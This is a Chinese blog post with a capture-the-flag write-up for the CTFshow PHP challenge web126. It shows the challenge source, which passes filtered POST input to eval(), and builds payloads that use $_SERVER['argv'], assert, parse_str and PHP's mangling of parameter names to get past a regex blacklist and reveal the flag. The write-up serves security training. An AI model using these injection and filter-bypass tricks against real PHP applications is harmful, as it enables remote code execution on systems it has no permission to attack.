CTFshow-WEB入门-php特性web126

题目代码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

php.ini配置register_argc_argv=On

——————————————

实验

<?php
echo $_SERVER['QUERY_STRING'];
echo '<br>';
var_dump($_SERVER['argv']);
?$fl0g=flag_give_me;的回显
$fl0g=flag_give_me;
array(1) { [0]=> string(19) "$fl0g=flag_give_me;" }
?$x=x+$fl0g=flag_give_me;的回显
$x=x+$fl0g=flag_give_me;
array(2) { [0]=> string(4) "$x=x" [1]=> string(19) "$fl0g=flag_give_me;" }

——————————————

于是可以得出让 $fl0g="flag_give_me" 的几种组合

?$fl0g=flag_give_me;       $a等于["$fl0g=flag_give_me;"]       $c等于eval($a[0])       也就是执行了eval("$fl0g=flag_give_me;");

?$fl0g=flag_give_me       $a等于["$fl0g=flag_give_me"]       $c等于assert($a[0])       也就是执行了assert("$fl0g=flag_give_me");

?a=1+fl0g=flag_give_me       $a等于["a=1","fl0g=flag_give_me"]       $c等于parse_str($a[1])       也就是执行了parse_str("fl0g=flag_give_me");解析到变量中

最后一个不能用?fl0g=flag_give_me是因为要满足 !isset($_GET['fl0g'] 这个条件

——————————————

参数名带有这些符号GET( 空格+.[ )、POST( 空格.[ )会转为_

特殊的是遇到 [ ,后面的会保持原符号

所以应该这样传CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])

posted @ 2022-10-27 18:38  Hacker&Cat  阅读(62)  评论(0编辑  收藏  举报